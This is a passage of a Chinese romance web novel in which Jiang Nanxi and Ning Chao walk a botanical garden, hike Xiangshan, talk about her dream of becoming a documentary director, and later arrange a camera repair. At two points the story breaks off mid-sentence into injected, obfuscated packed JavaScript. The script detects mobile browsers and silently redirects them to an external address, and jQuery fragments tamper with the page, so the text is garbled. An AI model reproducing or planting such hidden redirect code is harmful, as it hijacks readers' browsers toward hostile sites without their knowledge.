两人沿着木栈道踱步,步伐不紧不慢。 “我就记得我奶奶每天最喜欢做的事,就是跟这些花花草草打交道,有时候我都往前走了好远的路,回头一看,她老人家还在原地,对着这一棵草发呆。”宁朝娓娓道来,姜南西安静地听,她喜欢这些平淡又温馨的故事,每次听时内心都异常平静。 “我就问她,奶奶你为什么走这么慢呢?”宁朝笑了声,阳光落进眼底,“你猜她说什么?” 姜南西试着猜了猜:“发现了新物种?” “她说,本来走过这条路要用五分钟,但如果你愿意花七分钟时间,慢慢地走,就会多出来两分钟,然后用这两分钟去看看树上的绿叶,看看路边的小草,看看风是怎么把蒲公英的种子摇散的,人要慢慢地走,不然这些花儿开得那么好看,又不能一直开,要没人看,可惜了。” 现在听来,这番话颇具智慧,但那个时候的宁朝毕竟太小,不经世事,不觉得这路边的树啊花啊草啊有什么稀奇,只顾着一路埋头向前跑。 “我想去蜜蜂馆伯伯那里喝蜂蜜水,五分钟的路三分钟就能跑到。”宁朝自豪也自嘲,“所以我奶奶她老人家常说,我倒欠这路两分钟。” “你怎么回答的?”姜南西与他并肩前行,鬓边几缕头发被风悠起。 “我跟她说。”宁朝一开口,小时候那股不懂事儿的浑劲儿就自动归位,“奶奶,我们不欠这条路的,这条路我们已经走了好多遍了,树上的每片叶子都能认得我。” 毫无意外收获几个北京特产大耳帖子。 但老太太哪舍得真打呢。 就用手在他小脸上轻轻一摸,轻得跟现在的微风一样,落在脸上温温柔柔。 大二那年,奶奶突发心脏病去世,后来宁朝不止一次地回到这里。 他试着放慢脚步,从这头到那头,一个人慢慢地走,用尽了无数个两分钟,却怎么也等不到当初被他甩在身后的那两分钟。 所以他想让姜南西拥有这两分钟。 希望她拥有的,不止是两分钟。 而姜南西沉默不语,低头看着脚下的路,一步一步往前走。 工作时忙得像陀螺一样日子暂且不说,她想起离职后的这段日子,看似突然懂拥挤的地铁车厢里挤了出来,有了很多时间,但好像还是在赶路。 精神上的。 大脑总无意识跨过空间去到很久以后 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765266|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,一堆还没发生的乱七八糟的未来的事情,吞噬着她当下的时间和精力。 花了太多时间在焦虑上,所以没空关心周围发生了什么。 曾经采访过的一位学者说过,自然界的好东西都是缓慢的,太阳一点点地升起,花一点点地开,粮食一点点地成熟,细水长流,都是慢慢来的。 但也是易逝的,着急走路错过了,就再也遇不到了。 姜南西唇角扬了扬,似乎懂了宁朝为什么带她来这里,心里又轻又软,像被塞了一团软乎乎的棉花。 宁朝转过头,帽檐投下的阴影里,姜南西嘴角的笑容还未消散,他低声问:“你笑什么?” 有些事儿,只需意会不必言传,姜南西没有回答,而是满带戏谑地说:“你小时候挺皮啊。” “我们家孩子打小都皮。”宁朝说道,“我那小外甥上次被请家长,是因为在学校里打扑克牌,他们班长指着墙上挂着的五星红旗说:‘国旗底下你们还不好好学习?’结果我那不省心的外甥大手一挥说:‘我们在斗地主!’老师拿他没办法,只能把我姐叫到学校亲自教育。” 姜南西想要又不敢笑,毕竟人孩子说得也没错,她努力想要压住上扬的嘴角,硬生生憋到苹果肌发酸。 宁朝劝她:“笑吧,咱是好好学习的孩子,可以笑。” 姜南西终于笑出来:“这孩子将来大有作为。” 宁朝下巴一扬,特骄傲:“随他小舅。” 姜南西笑得更放肆了。 两人边走边聊,一路上,宁朝分享了不少小时候的混账事儿,姜南西也跟他讲自己干过的那些蠢事儿。 “你小时候真以为电视剧是偷拍的别人的生活?”宁朝问她。 姜南西说:“对啊,所以我走路上的时候,就假装跟小花小鸟它们打招呼。嗨~你好呀~”说着,她就现身说法朝栏杆上正休息的小鸟,热情洋溢地挥了挥手,动作行云流水极度自然。 “就像这样。”姜南西转回来,她被自己逗笑,“我觉得观众看见我这么可爱是不是就会喜欢我,你说是不是特别幼稚?” 宁朝低头笑:“是。” 快走到木栈道的末尾,姜南西忽然自后抓住宁朝的手腕,太阳底下她露出的一截皮肤白得发光。 “你闭上眼睛。”她笑眼明亮,“再待两分钟。” 阳光从叶片的间隙洒下,抖落一地细碎的光芒,微尘在笔直的光束中轻盈浮游,柔软微风把树梢吹得沙沙作响,光影交叠,似梦似幻。 姜南西没有松开拉着宁朝的手,他们就那样伫立在来往的人群中,闭眼,仰头,感受风,感受阳光,感受周围树木的鲜绿缓缓流动,从四面八方涌来。 周遭的脚步匆匆和交谈欢笑都渐次遥远,成为虚幻的背景声音。 空气清凉而空寂,姜南西深深吸了一口气,氤氲清气宛如一股温润的水流,轻轻地、细细地流淌过她四肢百骸的每一处角落,来自自然的能量盈满整个身体。 她让自己完全放松,尽情享受这一刻。 真实的,切肤的,栩栩如生的美好。 不知道什么时候,宁朝偷偷睁开了眼睛。 他转头看着姜南西的侧脸。 她嘴角染着一抹淡淡的笑,完全沉浸在当下的片刻安然。 时间一分一秒悄然流淌,宁朝的目光久久没有离开,看她微颤的睫毛,小巧的鼻子,鬓角的汗珠,和脑后快要散开的头发。 细致,专注,似是想将眼前的场景一笔一画刻进脑海。 他的魔法失败,但姜南西的,生效了。 在姜南西的魔法中,遗留在过去的两分钟,历经时光,穿越记忆,用一种完全没有设想过的方式,再次回到他的身边。 宁朝重新闭上眼,阳光落在他薄薄的眼皮。 一片溟茫中,他似乎又看见一条长长的木栈道,一个小屁孩跟在老太太的身后,没走两步就撒丫子朝前跑去。 他无声无息笑了出来。 花儿不会一直开,但一直会有花儿开的。 17. 藿香正气液 中午逛完南区出来,在丰惠轩吃的花椒芽面,特别腌制过的花椒芽拌着瘦肉末,浇在现擀的面上,汤底不咸不油,面条口感劲道,带着一股独特的椒麻香味。 这种浇头的面姜南西是第一次吃,刚开始还不习惯,吃到一半越吃越香,最后一大碗面直接连汤带面的光盘。 面条升糖很快,午后大地又燥热,姜南西躺车里发饭晕,宁朝给她调好空调温度,打开车窗通风,自己却不知道去了哪里。 隔了会儿,半睡半醒间,姜南西听见车门打开的声音。 她推了推盖在脸上的帽子,露出半截眼睛,用下眼睑斜睨向站在车外的身影。 宁朝手里拿着一个冰杯,里面装满类似茶汤的琥珀色液体,他将吸管插好连着冰杯递给姜南西:“喝了。” 正犯困,姜南西说话瓮声瓮气:“这什么?” “蜂蜜水。”宁朝言简意赅,说完关上车门,从车前绕到主驾驶。 姜南西拿着冰杯坐起来,等人上车后问:“蜜蜂博物馆买的吗?” “博物馆在北区那边儿,小蜜蜂坐火箭也没这么快啊。”宁朝闻言笑道,然后又催她赶紧喝。 “哦。”姜南西没有怀疑,就着吸管吮了一大口,“蜂蜜水”进入口腔的一刹那,她感觉有股怪异的凉气直顶天灵盖,喉咙凉飕飕,像直接吞了辆薄荷味的洒水车。 彻底清醒了。 她皱着脸拿开冰杯:“这什么东西?” 宁朝说辞不变:“蜂蜜水。”他边说边启动车辆,单手打方向盘倒车,进主路换挡踩油门,自始至终视线落在车辆前方。 姜南西举起冰杯:“那为什么是这个味道?你下毒了?” “加了点藿香正气液。”宁朝正色道,“这么热的天,除了一杯咖啡一口水都没喝,你不怕中暑啊?” 不仅如此,他发现姜南西出了不少汗,所以提前采取措施。 但姜南西平时就不怎么喝水,一是不爱喝,二是老忘,体质早练出来了,所以在苦死和渴死之前,她选择渴死。 渴死说不定能多活一阵。 “我最讨厌藿香正气液了。”说着她就想把冰杯放下,被宁朝早有预料地阻止:“必须喝完。” 早猜到姜南西受不了这味道,宁朝才特意去711买的冰杯和蜂蜜水,售货员看他往里倒藿香正气液,还好奇问他是不是拿来哄孩子的。 宁朝心想孩子可比姜南西好哄多了。 红灯,车停。 宁朝淡淡望了过来,表情敛着几分正经:“说了今天得听我的。” “上了贼船了。”姜南西咬牙,叼着吸管要喝不喝,眼中满满郁闷,那味道实在是没有勇气再来一口。 话落,宁朝拿了杯一模一样的出来,碰了下姜南西手里的:“陪一杯。” 光颜色一样不行,里面的东西也得一样,姜南西哼了声瘪嘴:“你那杯也下毒了吗?” 宁朝气笑了,干脆托住她那杯杯底往上一送,直接将吸管送进她嘴里,漫不经心的声音:“快喝吧,祖宗。” · 第二站是香山。 但不是从前面爬上去,而是从后山,宁朝直接一路把车开到了鬼笑石停车场。 姜南西坐车里戴好帽子:“冒险不应该是直接爬上来吗?” “冒险也要讲究方法。”宁朝慢条斯理接她的话,“善用工具,能走得更远。” 姜南西笑道:“得,又欠香山俩小时。” 宁朝:“你先把欠的半杯喝完再说。” 佯装没听见这话,姜南西火速打开车门,一溜烟儿跑到了最前头,站在太阳底下活蹦乱跳,看来之前缺的水是补上了。 从停车场到鬼笑石要走半个小时,好在都是休闲步道,往上走比较轻松,山上也没有山下那么闷热,吹过耳边一阵清凉。 要走之前,姜南西想起他的伤:“你腿行吗?” 宁朝伸出左边胳膊:“今天带了运动手表,超负荷它会报警。” 姜南西抬了抬一边眉毛:“可别是爬一半心率过速报警啊。” 宁朝混不吝:“擎好儿吧您。” 一路上游客不多,但也有,速度比他们快,没几步就将两人甩在身后,还有穿着极其专业的,一看就是徒步选手。 一人一杖在天地间自由行走,很是潇洒。 等那人背影消失在转角,姜南西开口:“宁朝,你爬过的海拔最高的山是哪座山?” “乔戈里峰,但没有登顶。”宁朝说道,“当时出了点意外只能中途放弃,不过也爬到了8000多米。你对登山感兴趣?” “没有没有。”重度恐高人士姜南西立刻摆手,并且生怕宁朝下一秒就要邀请她一起去冒险,事实上他也真干得出来。 姜南西赶忙继续解释:“我就是想问问什么感觉。” 宁朝不加思索:“没什么感觉,忘了自己是怎么上去的,也忘了是怎么下来的了。” “那在开始爬之前,你不会恐惧吗,就是那种......”姜南西顿了顿,想往下说,但感觉不管怎么说都不精确,好半天才问:“开始之前不知道要怎么爬上去的恐惧。” “一步一个脚印。”宁朝语气如常,没什么大道理,“路嘛,走走就知道怎么走了。” 这话不假,质朴,直接,而姜南西像是透过这句话听出了别的什么,眼神倏然一变,露出一种故作恍然的揶揄:“我怎么感觉,你更像是樊老师的孙子。” 她本意是想表达,宁朝和樊老师身上具有同一种特质。 想做成什么事,逆水行舟也好,水到渠成也罢,就安静做自己该做的事,行动力很强,并且自若接受过程中的一切。 哪知宁朝像是被雷击中,仔细看瞪大的眼睛里还闪过一丝慌乱:“你怎么发现的?” 姜南西:“?” 宁朝说:“我真是樊老师孙子。” 姜南西:“......” 空气突然沉默。 风声骤停,姜南西的脚步跟着停下。 她站在太阳底下,嘴巴微张,一动不敢动,无数个荒诞的想法在她脑海中浮现,但没有一条告诉她该如何应对眼前的情况,倒是想好了宁朝一怒之下把她推下山的一百种方法。 走也不是,不走也不是。 腿这么欠爬什么山呢,应该去打乒乓球。 “骗你的。” 见她一副纠结表情,宁朝崩不住哈哈大笑,他发现这姑娘白长了张精明脸,说啥都信,太好骗了。 “无聊。”姜南西又气又笑瞪他一眼,丢下一句转身就走。 “那是因为你对老爷子还不了解。”宁朝步子大,很快就追上,“等你了解就知道了,其实他.....”话到一半他忽然又不说了。 姜南西问:“知道什么?” 宁朝郑重其事:“他挺不靠谱的。” “......” 梅开二度。 “烦不烦!”姜南西忍无可忍一巴掌拍在宁朝肩膀,宁朝笑着接下,随即右手虚握轻轻敲下她的发顶:“别太好骗啊姜米团脑袋!” 听见这个称呼,姜南西脸颊蓦地泛起微红,她挥开宁朝的手:“胡说八道!是你这个人没有童心!” 看着她越走越快,宁朝低头摸了摸鼻尖,嘴角的笑却怎么压都压不住。 香山鬼笑石,因大风吹过此石时,发出的嗖嗖风声类似鬼哭狼嚎而得名。 站在这块巨石上俯瞰,整个北京城宛如一副徐徐展开的画卷,中国尊傲然矗立,玻璃幕墙在日照下璀璨夺目,老城区的胡同蜿蜒曲折,青瓦灰墙,掩映在婆娑树影,成群的白鸽掠过颐和园,渐行渐远化作一个个细小的点,融入湛蓝的天。 一阵清风裹挟着城市的气息扑面而来,凉凉的,又消失不见,带走一路的疲惫。 从高处眺望这座城市,姜南西几乎能从每个角落找到自己的身影,她们忙碌,急切,飞速地穿梭在钢铁巨物当中,很容易就被忽视。 “姜南西。”宁朝走过来,与她比肩而立,风将他的衣摆吹得猎猎作响,“站在高处看北京,还觉得自己渺小吗?” 风声逐渐呼啸,几缕发丝被卷起,在姜南西的眼前凌乱飞舞,城市轮廓变得模糊不清,她没有回答,只目沉如水,凭栏看向下方的城市。 看这座,同样变得渺小的城市。 “你说,你站在茫茫人海里的时候,觉得自己很渺小,觉得自己所有的一切都微不足道,其实可能不止你一个人,大多数人都有过跟你同样的想法,我也有,因为北京真的太大了。”宁朝说,“有段时间,我很想离开北京一个人躲起来,但光堵在路上我就堵了三个多小时。” 似是感同身受,姜南西弯唇笑笑,从站上来开始,她就一直盯着城市看,看到眼眶发涩。 “后来换了条路。”宁朝歪下脑袋,“我到今天都很庆幸这个决定。” “把车停在那条路上我什么都没干,就看来来往往的车和人,确实一开始,感受也像你说的那样,觉得自己在浩渺人群中什么都算不上,可是当我仔细观察他们的时候,又觉得,大家好像都不太一样。” 有带着孩子遛弯的年轻父母,有刚下班步履匆忙的打工族,有聚在路边围坐成堆侃大山的外卖小哥,有身体佝偻拖着蛇皮袋挨个翻垃圾桶的老人,宁朝把车里几瓶没开封的水都给了对方。 阳光时明时暗,照着两人的表情,一个平和,一个万千思绪。 “他们每个人都有漫长的一生,我只是擦肩而过的路人,但就是有一秒,有种很奇妙的感觉,我看见了一个真实存在的生命。” 如果个体情绪势必被强塞进既定的五线囚谱,沦为可替换的休止符和装饰音,但只要还保留着未驯的颤音,就足以让琴弓在乐谱边缘撕开一道裂缝。 那一点颤音,落在少年身上是心气,在大人身上,是心跳的疲惫余韵。 这些余韵在整齐划一的时代进行曲中短暂相遇,奏出残烛微光般的微弱共响,触摸、融入,直到成为宇宙永恒的脉搏。 “从时间上看,宇宙存在亿万年,个体一生不过一百岁,从空间上看,我们就算站在香山上能够俯瞰整个首都,但依然山外有山。”宁朝指了下湛蓝的天空,不管她看没看见,兀自笑了下道,“离你想去的月球也很远。” “但你还记得那天在国博讲解员说的那句话吗?中华五千年的历史,是五十个人首尾相连的一生,每段人生的悲欢离合落在历史簿上只有薄薄一页。这是自然亘古不变的规律,大自然面前,人类确实连根跳蚤腿都比不上,有太多无法掌握的不确定。” 宁朝说:“可是人生唯一确定的就是不确定的人生,当你走进人群,成为那五十个人之一,你的那一页要写什么,怎么写,自然管不了。” 风渐渐大了起来,把栏杆前的枝桠吹得东倒西歪,但枝干坚.挺如初,深扎大地的根系赋予它抵御侵袭的底气和力量。 “哪怕你觉得自己这一页再不起眼。”说到这,宁朝刻意停了下,他不知道想到了什么,眼中划过无数情绪,最终看向姜南西平静无波的侧脸,“一生有那么长的时间,一定会有人看见你的。” 生和死都不过取决于观察,取决于观察的远和近。 当一颗星星自以为早在宇宙的洪流中熄灭坍塌,实际上在光年以外的地球,有人正聚精会神的,关切的,看着她在银河中,孤独地闪闪发亮。 话到此处,今天这场安排的真正目的显而易见。 姜南西终于说话,她为这一秒下定论:“金句时刻。” 说完,她自己先笑出来,风把她的声音散向远处,消匿在北京的上空,无声无息。 宁朝不可置否,笑着低头挠了挠眉毛,然后倍感松快看向天空。 向来跟技术人员打交道,满脑子都是二进制和算法逻辑,哪跟人讲过这些,讲完自己都觉得不可思议。 ——高中那点语文底子全交代在这儿了。 “如果你是在乔戈里峰上跟我说这些。”姜南西再度开口时,话里还是含着淡淡笑意,却没笑到眼睛里去,“可能会更有说服力。” 宁朝低声:“你恐高嘛。” “......”姜南西愣了下,回头问:“你怎么知道我恐高?”她不记得自己和宁朝提过这个。 被她紧紧盯着,宁朝的眼神虚了下:“猜的。” 姜南西想想也是。 恐怕在宁朝眼中,她早就是个怕这怕那的胆小鬼,多一条恐高也不足为奇。 “我第一次来香山,是大学来北京的那次。”姜南西侧了侧身,半个身体斜倚在栏杆,微微仰头,逆光看向几步之外的宁朝:“凌晨,和其他几个同学突发奇想一起爬香山看日出。” “当时有个同学就站在你那个位置,问我们毕业了想干什么?”顺着她的视线,宁朝看了看自己脚下。 “那个时候我比现在果断。”姜南西这样自我评价,“太阳跳出地平线的时候,我非常坚定地说,我以后一定要当个纪录片导演,你知道大卫·爱登堡吗?” 宁朝稍有印象:“《地球脉动》?” “嗯,他是我偶像。”姜南西点点头,“高中备考学不下去的时候,我就反反复复看他的纪录片。” 她跟宁朝分享大卫·爱登堡的那些经典纪录片,讲他的镜头穿越冰川和海洋,丛林和山脉,沙漠和草原,讲她隔空领略了自然界万千奇妙的美景,也见证了无数惊心动魄的生命故事,讲大卫·爱登堡如何用一生诠释自己对自然的热爱。 说这些话时,她像是森林里吹过来的一阵风,生机勃勃。 最后,姜南西耸耸肩膀:“不过现在你也看到了,离我最初的梦想越来越远。” 话虽如此,宁朝在她的脸上却看不到半分沮丧,相反,也许是提及那个夜晚,让她的眉眼里隐隐再现年少时的希冀。 “我很小的时候,就很喜欢自然,喜欢观察那些不足为奇的小东西,下雨前,趴在地上看蚂蚁搬家,看蜘蛛一圈一圈地结网,每天去看竹子长高了多少,还有天上的云,变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15765267|174551||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过来变过去,我能连着看好长时间,每次看都有种特别的感觉,怎么跟你形容这种感觉呢......”姜南西想了想,然后眼睛一亮,“就像我们上午在植物园看到的那些植物。” 山风四起里,宁朝定定望住她,看她的纯粹,看她的鲜活,她的盎然,看她无所顾忌地表达自己。 “在自然那么大的生态系统里,成千上百种的植物都能找到属于自己的位置,有的磅礴旺盛,可以存活几百年,然后吸引所有人的目光,而有的呢,渺小到默默无闻,不争不抢,甚至只是附生在系统的某个地方,汲取一丝丝微弱的养分,但它也能活得很好。” 苍穹广袤,四下无人,只有山林和宁朝能听得见她的声音,这让姜南西感到一种前所未有的亢奋。 “我小时候觉得自然界的生物其实跟人一样,它们有自己的思想,有自己的意识,每次这么想我都会浑身起鸡皮疙瘩,还会给它们编各种千奇百怪的童话故事。”她笑着摸了摸自己胳膊,像是抱住小时候的自己。 天马行空的幻想是她人生中的第一个编导作品。 “长大之后发现,原来这叫生命力。”她转身,双手搭在身前的栏杆,风把她的发尾高高扬起,眼神不再倦怠,取而代之的是坚毅和激动,“万物有灵,活下去,只要活下去就能活出属于自己的生命力。” 这些地球上,与人类休戚与共的芸芸万物,无论多渺小,每一个都是应运而生,都是值得看见的存在。 不完全是宁朝的话点醒了她,而是误打误撞故地重游,姜南西找回了年少夜爬的感觉,一腔孤勇,说走就走。 “所以你刚刚跟我说那些的时候,我就在想。”看着下方堂堂正正的北京城,姜南西突然眼眶发热,“我还是,很想当个纪录片导演。” 少年心气不可再生。 ——那就点一把火!烧掉灵魂的荒原,让理想的星火永远长明。 怎么烧,谁管你! 宁朝侧目,凝视着身边的姜南西,她的眼睛一如既往的澄澈明亮,又不一样,现下,她眸光生动,像跃动着一簇期望的火种,煜煜燃烧在广阔天地。 他觉得自己错了。 姜南西其实很好哄,只要愿意听她说话。 宁朝转头,看回这个已经生活很久的城市。 风扬万里云,他从没这样看过北京。 和此刻的姜南西一样,陌生,热烈,而难忘。 良久,宁朝说:“姜南西,别委屈自己,做你想做的事。” · 回去时,两人坐的地铁,这是宁朝今天租车的原因。 按照国际惯例“来都来了”,应该要体验一下北京最美有轨电车——西郊线。 上车时已经临近黄昏,姜南西感觉自己的能量悉数耗尽,拉下鸭舌帽盖住脸庞,脑袋后仰瘫在座椅靠背上尝试恢复元气,宁朝坐她身边,用手机处理工作事务。 窗外霞光绮丽,玻璃的影子一道一道拂过两人肩头,气氛安然,时间走得缓慢。 车厢摇摇晃晃催人入眠,而帽子下,姜南西睁着俩大眼睛,异常清醒,开始复盘今天在山上说的那些话。 过了不知多久,她抿了下唇,想了想,然后小小地叫了声旁边的人:“宁朝?” “嗯?”宁朝盯着手机没有抬头。 姜南西犹豫不定:“你说,我真能成为一个纪录片导演吗?” 听到这句宁朝就笑了,他完全理解她。 当勇气一股脑达到峰值,能够维持一阵热血的狂欢,可激情退去,真正冷静下来之后,又会陷入退缩和纠结,这是她长期回避性格的后遗症。 宁朝收起手机,他往下坐了坐,跟姜南西一样的姿势,把脑袋搭在椅背上,闭着眼,听车厢运行时发出的“咯吱咯吱”声。 他语调松弛散漫,在晃动的车厢里听着无比轻柔:“大胆点儿,也别纠结,只管做你想做的事。” “要说教了吗?”姜南西调侃,闷闷的笑声从帽子底下偷跑出来。 但她知道他不会。 只不过每次在手机上刷到这类话题的心灵鸡汤,就会看见那些博主端着“人生导师”的架子,用居高临下的口吻说教,一口一个“你应该”“你必须”,好似众生皆醉他们独醒。 姜南西每次看到都要翻个大大的白眼。 “你想听就听,不想听就不听。”宁朝也有点累了,轻笑了下,声音散散慵懒,“这也是做你想做的事。” 果然。 姜南西嘴角上扬,扯出一个释然而安心的笑容。 身上泛起从来都没有过的感觉,心里似乎有一种踏实而平和的,绵绵不断的细语,盖过了来自尘世的所有杂音,惟有心跳,在一片寂静中,叮叮咛咛,回荡出一个名字的涟漪。 静静坐了会儿。 姜南西说:“我待会儿想吃紫光园儿。”她学他的京腔,也不管学的准不准。 宁朝听得想笑:“吃。” 她说:“我想爬长城。” 宁朝说:“爬。” “想去颐和园划船。” “划。” “想去不排队的环球影城。” “不排。” 她说什么宁朝都答应,这让姜南西的笑容越来越放肆。 她感谢盖在脸上这顶帽子,在她和世界的中间搭起了一道屏障,让她能够百无禁忌地展露自己的情绪。 地铁行驶的速度徐徐减慢,姜南西慢慢吐出一口气:“我想认识樊老师。” 宁朝毫不迟疑:“好。” 没人不喜欢核弹奶奶。 然后再度无声。 就在宁朝以为,她所有的我想都说完时,耳边又一次响起姜南西的声音。 “我想......” 和前几句的直接不同,这次姜南西话说一半戛然而止,沉默变得漫长,好像想说一个心愿,又好像是别的什么东西。 地铁开进茶棚站,驶过开满轨道的小黄花,仿佛娜乌西卡驾着滑翔翼掠过花海。 好半天没声音,宁朝觉得奇怪。 他转头,用手小心翼翼地掀开帽子一角,想看看姜南西是不是被地铁晃睡着了。 猝不及防的,撞入一双明媚灵动的笑眼。 窗外,黄刺玫如瀑绽放,卷起朵朵金光,落日余晖洒进车厢,将万事万物的颜色映得鲜明而强烈,恍如列车不小心闯进宫崎骏的漫画,画中的夏天正在盛放。 夕阳下,姜南西一瞬不瞬地看着宁朝,眼尾晕着一点狡黠,似是早有预料他的动作。 世界蓬勃,满目灿烂。 两人无言对视几秒,宁朝表情淡定,他轻轻把帽子放下,双手抱臂坐回去,然后,在姜南西看不见的地方,默默将左腕的智能手表塞进另一侧臂弯更深处。 姜南西不知道这些,她闭上眼睛,感受列车摇晃时带来的细微动静。 泥巴铲了,阳光欢呼涌进心里,照在她心上,好干净。 夏日晴,微风煦。 今天是个好天气。 18. 凉白开 再见樊老师是几天后。 自从换了新鱼缸后,宁衡远发现小鱼们不如之前活泛,总躲在缸角,往水里放了VC也没用,不知道是不是生病,想请樊老师过来看看。 “明天下午樊老师会去家里。”宁朝在电话那头说,话筒里时不时传来几声键盘的敲击声,“看你有没有空。” 阳台上,姜南西正照着网上的养殖攻略,给那盆生石花浇水,她浇水时谨慎又谨慎,严格把控浇水量,用水壶喷两下就停下看看刻度,生怕喷多了把花淹死。 她一边看刻度,一边说:“明天可能不行,我要去修个相机。” 宁朝问:“相机怎么了?” 姜南西说:“昨天导素材的时候不小心摔地上开不了机了,旗舰店的售后太难约,好不容易约到明天下午的。” 她很想见樊老师,但也很遗憾。 这好办,宁朝一秒内提出解决办法:“要想两不误,那就只有老爷子能帮到你了。” 姜南西没明白:“啊?” 宁朝说:“你把相机一块儿带过去,让老爷子给你修。” 姜南西拿着水壶站起来,惊诧道:“大爷会修相机?” “除了做饭难吃。”宁朝不留情面地吐槽,“宁衡远先生其他方面还行,尤其最擅书法。” 刚夸完没热乎呢,下一秒,宁朝的语气就变得吊儿郎当:“怎么样,要不要帮你约个他的档期?” 没正形的样子把姜南西也带的不正经,她哦了声,故意将声音拉得老长,拖腔带调地打趣:“那宁衡远先生最近好吗?” “还行,对我挺好的。”宁朝得意一笑,“我俩关系不错。” 风拂过,窗外树叶飒飒,姜南西笑着摇了摇头。 玩笑归玩笑,姜南西还是有点不好意思:“但是会不会太麻烦大爷了?” 宁·亲生的·二十四孝孙子·朝语调平平:“留守老人太孤独,给他找点事儿做。” “但......”姜南西其实还有担心,又怕显得不够尊重,忸怩着要说不说。 宁·高级·但是处理专家·朝很快猜到她的心思,替宁衡远打包票:“修坏了让老爷子赔你个新的。” “???” “这不好吧。”姜南西良心不安。 宁朝眼睛盯着电脑,轻点鼠标调出控制台:“老爷子退休金多得没处花,省得他又拿去买保健品。” “又买啦?” “我二姐说床底都堆满了。” 方续抱着电脑走到办公室门口,敲了敲门,提醒他会议准备就绪,宁朝无声颔首,用眼神示意知道了。 “我得去开会了。”收回目光,宁朝跟姜南西解释,“明天下午你先去什刹海那边,晚上等我下班一块儿跟樊老师吃个饭。” 姜南西:“好。” 宁朝说:“明天见。” 结束通话,编写的代码也接近尾声,又花两分钟完善了下最后的几处细节,宁朝按下运行键。 桌上,巴掌大的深灰色机器人被唤醒,发出一声清脆的“滴”,圆溜溜的眼睛缓缓扫视四周,随后一顿,精准无误地定格在宁朝脸上。 紧接着,带着几分电子科技感的声音响起:“你好,我叫尼奥,请问有什么可以帮您?” 宁朝眼睑微垂,淡淡发出指令:“过来。” 话落尼奥没有任何动静,而是在过了两秒之后,才像是刚刚接收到信号,笨拙又机械地转过身体,四条小短腿开始运作,慢悠悠朝着宁朝的方向挪动过来,因为动作不灵活,机身连接处发出僵硬的“咔咔”声。 没走两步,尼奥“咚”的一下重重翻倒在桌面,短腿空转几下,然后彻底宣告短路。 扶起尼奥,宁朝嫌弃地骂了句:“笨蛋。” 这次尼奥反应极快,显示屏上露出一个哭哭的表情。 · 第二天中午,姜南西收拾好正要出门,碰上刚拍完大夜回来的何星屿。 门边空间很小,换鞋凳只坐得下一个人,姜南西换鞋时,何星屿站在玄关边上等,边打哈欠边问她:“要出去啊?” 姜南西嗯了声:“中午做了饭,给你留了一份在冰箱。” “我待会儿睡醒了起来吃。”何星屿困得眼睛都快要睁不开,但还不忘八卦姜南西:“又去找那个Prada男啊?” 虽然姜南西没说,但前两天下夜班回家,何星屿远远看见她和宁朝站在小区门口。 姜南西系鞋带的手一滞,好半天她转过头,惊恐又心虚地看向何星屿:“哪......哪个prada男?” 瞧这模样,什么都不用说何星屿也门清了,他露出一个心照不宣的笑,随手向下挥挥手掌,一副“我懂,我都懂”的表情:“不用解释。” “不是,是因为我......”姜南西觉得他多想,想讲清楚但又不知道该从何说起,嘴里囫囵半天愣是吐不出一句完整的话。 “好啦橙子。”做了这么久朋友,何星屿怎么会不了解姜南西,知道她总是下意识解释自己的选择,把为什么这么做说的一清二楚。 这种习惯性解释的行为,本质上是一种妥协,把自我的定义权让渡给了外界。 “你不用跟我解释这些的。”他收起脸上的笑容,神情转而严肃而郑重:“你想干什么就干什么,自己开心就行啦。” 姜南西怔怔坐在原地,没再动,眼神忽而失焦,空空望着自己的鞋尖。 不知道为什么,同样的话,宁朝说出来觉得稀松平常,而何星屿说出来,却让她突然有种想要落泪的冲动。 可能大脑闲得太久,情感神经变得过于敏感且泛滥。 “不行了真要困死了。”何星屿张大嘴巴又打了个巨大的哈欠,下巴都要脱臼掉到地上,他胡乱摸了把姜南西的头发:“去玩儿吧,我睡觉去了。” 说完他直奔房间,累得连鞋都没换。 姜南西在客厅里独自坐了会儿,然后戴上宁朝送的帽子,背上单肩包出门。 · “相机问题不大,就是摔下来的时候,把电池仓这里的弹簧摔坏了。”宁衡远摘下鼻梁上的老花镜,和相机一起放到桌面上,“另外还有一些其他的小问题,我一块儿给你修了。” 姜南西道谢:“谢谢您。” 看完相机,屋外的樊老师也找到了小鱼趴缸的原因。 她从包里摸出一个小瓶子,从中倒出一粒胶囊,然后掰开,将细碎的粉末洒进面前的鱼缸:“水土不服应激了,加上有点白点水霉,下次换水的时候再放一粒独立康,差不多就能好,不好你再叫我。” 宁衡远拎着工具修剪绿植,有樊老师在他放心,蹲到地上头也不抬:“还得是樊大姐啊!” 白色粉末落入水中,五颜六色的小鱼争相追逐,看着小家伙们开始找回活力,樊老师的眼神逐渐从担心变得柔和。 蓦地,她听见身后一声轻微的“咔嚓”声。 樊老师转过头,便看见院子中央举着相机的姜南西,彼时,叶隙碎光洒在她发梢,白云躺在她脚边呼呼大睡,圆润的肚皮随着呼吸微微起伏。 已然是跟姜南西混了个脸熟。 记录下樊老师这专心致志的时刻,姜南西放下相机,露出镜头后的脸,她咧嘴笑道:“樊老师好。” “小西好啊。”樊老师走过来,在树荫下的石桌边坐下:“相机修好了?” “没呢。”姜南西跟着坐下,“大爷说要点时间,给了我一个备用的。” 